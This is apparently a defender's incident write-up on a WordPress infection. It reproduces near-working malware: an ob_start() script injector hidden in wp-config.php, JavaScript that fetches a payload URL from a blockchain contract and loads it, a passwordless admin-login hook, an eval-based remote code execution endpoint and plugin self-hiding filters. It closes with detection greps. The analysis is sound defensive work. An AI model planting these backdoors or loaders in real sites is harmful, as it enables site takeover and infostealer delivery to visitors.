Every malware scanner on the server said the site was clean. The server’s security software had already quarantined a few files days earlier. The access logs showed nothing unusual. But visitors were still seeing a Cloudflare verification page — on a site that wasn’t behind Cloudflare.
The infection was hiding in the last place most scanners look: wp-config.php. Not with eval() or base64_decode() — the functions every grep pattern targets — but with ob_start(), PHP’s output buffering function that no malware signature checks for. And the payload URL wasn’t hardcoded anywhere on the server. It was stored on the Binance Smart Chain testnet blockchain, retrieved at runtime via a smart contract call.
The Invisible Injection
The attacker injected four lines at the top of wp-config.php, right after the opening <?php tag:
<?php
/* _ea_wc_s */
if(!defined('_EA_WC_')){define('_EA_WC_',1);ob_start(function($b){
if(strpos($b,'id="_ea_s"')!==false)return $b;
return str_replace('</head>',
'<script id="_ea_s" src="data:text/javascript;base64,
[PAYLOAD]"></script></head>',$b);
});}
/* _ea_wc_e */
Let’s break down why this is so effective at evading detection:
ob_start() with a callback function. PHP’s ob_start() registers a callback that processes the entire output buffer before it’s sent to the browser. Every single byte of HTML that WordPress generates — theme output, plugin output, everything — passes through this callback. The callback uses str_replace() to inject a <script> tag just before the closing </head> tag.
No suspicious function calls. Standard malware grep patterns look for eval(), base64_decode(), str_rot13(), gzinflate(), create_function(), preg_replace with the /e modifier. This injection uses none of them. ob_start(), strpos(), str_replace(), and defined() are all legitimate PHP functions that appear in countless non-malicious contexts. A signature-based scanner has no reason to flag them.
Self-deduplication. The strpos($b,'id="_ea_s"') check prevents double injection. If the script tag is already in the output (e.g., because a plugin cached the page with the injection already in it), the callback returns the buffer unchanged. This prevents the tell-tale symptom of duplicated scripts that would tip off an investigator.
Marker comments. The /* _ea_wc_s */ and /* _ea_wc_e */ delimiters are the attacker’s own markers for programmatic insertion and removal. This isn’t a one-off manual edit — it’s an automated deployment with built-in cleanup capability.
The Blockchain Dead-Drop
The Base64-encoded JavaScript payload is where things get interesting. When decoded (7.4 KB), the script doesn’t contain the fake CAPTCHA overlay directly. Instead, it retrieves the overlay URL from the BSC (Binance Smart Chain) testnet blockchain:
(function(){
var contractAddress = '0xA1de...d2e';
// Call the smart contract's get() function via JSON-RPC
fetch('https://bsc-testnet-rpc.publicnode.com/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
jsonrpc: '2.0',
method: 'eth_call',
params: [{
to: contractAddress,
data: '0x6d4ce63c' // Keccak-256 of "get()"
}, 'latest'],
id: 1
})
})
.then(r => r.json())
.then(data => {
// Decode the ABI-encoded string response
var hex = data.result;
var url = decodeABIString(hex);
// Load the ClickFix overlay from the decoded URL
var s = document.createElement('script');
s.src = url;
document.head.appendChild(s);
});
})();
The data: '0x6d4ce63c' is the function selector for a Solidity get() function — the first 4 bytes of the Keccak-256 hash of get(). The smart contract stores a URL as a string, and this eth_call reads it without any transaction or gas cost (it’s a read-only call to a testnet).
Why Blockchain?
Traditional C2 (command and control) infrastructure has a fundamental weakness: takedown. A hardcoded domain can be seized or sinkholed. A hardcoded IP can be null-routed. A paste on Pastebin can be flagged and removed. But a value written to a blockchain smart contract is:
- Immutable — once deployed, the contract exists permanently on the blockchain. There is no abuse report to file, no registrar to contact, no hosting provider to pressure.
- Anonymous — on the BSC testnet, deploying a contract requires only a wallet address funded with free testnet BNB from a faucet. No identity verification.
- Free — testnet transactions cost nothing. The attacker gets censorship-resistant infrastructure at zero cost.
- Updateable — the contract has a
set()function (likely owner-restricted) that lets the attacker swap the payload URL at any time. If one payload domain is blocked, they update the contract to point to a new one. Every infected site worldwide picks up the new URL on the next page load — without touching any of the compromised servers.
The public RPC endpoint (bsc-testnet-rpc.publicnode.com) is a legitimate blockchain infrastructure service. It won’t show up on threat intelligence blocklists. It’s not a known-malicious domain. A firewall rule that blocks it would also break legitimate Web3 applications.
What the Visitor Sees
The JavaScript loaded from the blockchain URL renders a pixel-perfect Cloudflare verification page. Same fonts. Same layout. Same checkbox animation. Same “Verify you are human” text. For a site that has never used Cloudflare, this is immediately suspicious — but most visitors don’t check.
When the visitor clicks the checkbox, the overlay copies a malicious PowerShell command to their clipboard and displays instructions to press Win+R, paste, and hit Enter. This is ClickFix — a social engineering technique that’s been surging since late 2024, abusing the implicit trust users have in security verification UIs.
The PowerShell payload typically downloads and executes an infostealer (Lumma, Vidar, or similar) that exfiltrates browser credentials, cryptocurrency wallets, session cookies, and autofill data.
The Backdoor Plugin
The wp-config.php injection was the delivery mechanism, but it wasn’t the only compromise on the server. A rogue plugin with a generated name (wp-helper-{6hex}) provided full persistent access. The plugin’s main file (16.7 KB) packed five distinct functions into a single PHP class:
1. Passwordless Admin Login
// Hook into WordPress authentication
add_action('init', function() {
if (isset($_GET['al']) && $_GET['al'] === 'true') {
// Get the first administrator account
$admins = get_users(['role' => 'administrator', 'number' => 1]);
if (!empty($admins)) {
wp_set_current_user($admins[0]->ID);
wp_set_auth_cookie($admins[0]->ID, true);
wp_redirect(admin_url());
exit;
}
}
});
Navigate to /wp-login.php?al=true and you’re logged in as the first admin user. No password, no 2FA, no brute force. The attacker doesn’t need to know or crack any credentials — they just need to know this URL parameter exists.
2. Remote Code Execution
// REST API endpoint for arbitrary PHP execution
register_rest_route('wp-helper/v1', '/exec', [
'methods' => 'POST',
'callback' => function($req) {
$auth = $req->get_header('X-Auth-Key');
if ($auth !== $this->config['auth_key']) {
return new WP_Error('denied', '', ['status' => 403]);
}
ob_start();
eval(base64_decode($req->get_param('code')));
return ['result' => ob_get_clean()];
},
'permission_callback' => '__return_true',
]);
A custom REST API endpoint that executes arbitrary PHP via eval(). Authentication is a static key stored in the plugin’s XOR-encrypted configuration file.
3. SEO Spam Doorway Pages
The plugin generated thousands of fake pages targeting high-value search keywords (gambling, pharmaceuticals, crypto). Before serving them, it ran every request through Adspect TDS — a commercial traffic distribution system at rpc.adspect.net — for geo-targeting and bot filtering. Search engine crawlers and security scanners saw legitimate content; targeted visitors saw spam redirects.
4. Plugin Self-Hiding
// Remove this plugin from the WordPress plugin list
add_filter('all_plugins', function($plugins) {
unset($plugins['wp-helper-349e5a/wp-helper-349e5a.php']);
return $plugins;
});
// Remove from update checks
add_filter('site_transient_update_plugins', function($value) {
unset($value->response['wp-helper-349e5a/wp-helper-349e5a.php']);
return $value;
});
The plugin erases itself from WordPress’s plugin list and update checks. An admin browsing the Plugins page would never see it. This is the same technique I documented in the Phantom Admin article — hijacking WordPress’s filter system to hide from the very platform it runs on.
5. Self-Destruct
A remote-triggered self-destruct function that deletes the plugin directory, removes its wp_options entries, and deactivates itself from the active_plugins list. The attacker can erase all evidence with a single API call.
The XOR Configuration
The plugin’s configuration (C2 contract address, auth key, Adspect credentials) wasn’t hardcoded in the main PHP file. It was stored in a separate file with a hex-named filename (_82d0db32.php) using XOR encryption:
<?php
$XKEY = 'cFsa';
$DATA = 'encrypted_hex_string_here';
// Decode: XOR each byte with the key (rotating)
$decoded = '';
for ($i = 0; $i < strlen($DATA) / 2; $i++) {
$byte = hexdec(substr($DATA, $i * 2, 2));
$decoded .= chr($byte ^ ord($XKEY[$i % strlen($XKEY)]));
}
return json_decode($decoded, true);
After decoding, the configuration revealed the BSC testnet contract address and the Adspect TDS API endpoint, confirming that both the PHP-level backdoor and the JavaScript-level ClickFix payload shared the same blockchain C2 infrastructure.
The Kill Chain
Compromised Admin Account
(via nulled/pirated plugin vulnerability)
|
v
wp-helper plugin deployed
|
+--> Passwordless login (persistence)
+--> RCE via REST API (remote control)
+--> SEO spam via Adspect TDS (monetization)
+--> Self-hiding (stealth)
|
v
wp-config.php injection
|
v
ob_start() output buffer hijack
|
v
Every HTML response rewritten:
<script> injected before </head>
|
v
JavaScript fetches BSC testnet contract
|
v
eth_call to get() returns ABI-encoded URL
|
v
ClickFix overlay loaded from decoded URL
|
v
Visitor pastes PowerShell command
|
v
Infostealer deployed on visitor's machine
Why Scanners Missed It
This infection was specifically engineered to evade detection at every layer:
- File-based scanners look for
eval(),base64_decode(),str_rot13(),gzinflate(). Thewp-config.phpinjection uses none of these.ob_start(),str_replace(), andstrpos()are so common in legitimate PHP that flagging them would produce thousands of false positives. - Integrity checkers like
wp core verify-checksumsonly validate WordPress core files.wp-config.phpis excluded from checksums because every installation has a unique one (different DB credentials, salts, etc.). - Network-based detection can’t flag the C2 communication because
bsc-testnet-rpc.publicnode.comis a legitimate blockchain RPC provider used by thousands of Web3 applications. - The backdoor plugin hides from WordPress’s plugin list, and the server’s scanner had already emptied its main file — but the
wp-config.phpinjection continued working independently.
The only reliable detection method was content-based: grep for the attacker’s unique markers (_ea_wc_s, _ea_s, _EA_WC_) or for the contract address itself.
Detection Guide
If you suspect a similar infection:
Check wp-config.php for output buffer hijacking
# Look for ob_start with a callback in wp-config.php
grep -n 'ob_start\s*(function' /path/to/wp-config.php
# Search for the attacker's markers
grep -rn '_ea_wc_s\|_ea_wc_e\|_EA_WC_\|_ea_s\|_ea_al' /path/to/webroot/
# Check for blockchain RPC calls in any PHP or JS file
grep -rl 'publicnode\|bsc-testnet\|eth_call\|0x6d4ce63c' \
/path/to/webroot/ --include="*.php" --include="*.js"
Check for wp-helper backdoor plugins
# Pattern: wp-helper-{6hex}
find /path/to/wp-content/plugins/ -maxdepth 1 -name "wp-helper-*" -type d
# Check for auto-login backdoor
grep -rl "al.*true.*wp_set_auth_cookie\|wp_set_current_user.*get_users" \
/path/to/wp-content/plugins/ --include="*.php"
# Check for XOR config files (hex-named PHP files)
find /path/to/wp-content/plugins/ -name "_*.php" -size +500c -size -2k
Check for Adspect TDS cloaking
# Adspect traffic distribution system
grep -rl 'adspect\|rpc\.adspect\.net' \
/path/to/webroot/ --include="*.php"
Check for nulled plugins
# Common nulled plugin indicators
find /path/to/wp-content/plugins/ -name "*.php" \
-exec grep -l 'nulled\|GPL.*unlimited\|wso_version\|c999sh\|FilesMan' {} \;
# Directories with "unlimited" or "master" in the name
ls /path/to/wp-content/plugins/ | grep -iE 'unlimited|master|nulled|crack|patch'
Lessons for Defenders
Three takeaways from this case:
First, expand your grep patterns. If your malware scan only looks for eval() and base64_decode(), you’re missing an entire class of injection. ob_start() with a callback, register_shutdown_function(), stream_wrapper_register() — PHP has dozens of legitimate functions that can be weaponized for output manipulation. Add them to your detection toolkit.
Second, wp-config.php is a blind spot. Integrity checkers skip it. Scanners deprioritize it because it’s supposed to contain only configuration. But it loads on every single request, before any security plugin, making it a prime injection target. Always cat and inspect wp-config.php manually during an investigation — don’t rely on automated tools to flag it.
Third, blockchain C2 is a growing threat model. Smart contracts on testnets give attackers free, anonymous, censorship-resistant infrastructure with a public API that can’t be blocked without collateral damage. The attacker can update the payload URL globally by sending a single transaction — no need to touch any compromised server. Traditional IOC-based blocking (domain lists, IP blacklists) is ineffective against this pattern. Defense needs to shift to behavioral detection: why is a WordPress site making eth_call requests to a blockchain RPC endpoint?
The wp-config.php file doesn’t lie — but your scanner might not be reading it. When the C2 lives on the blockchain and the injection uses only legitimate PHP functions, the only thing that catches it is an analyst who knows where to look.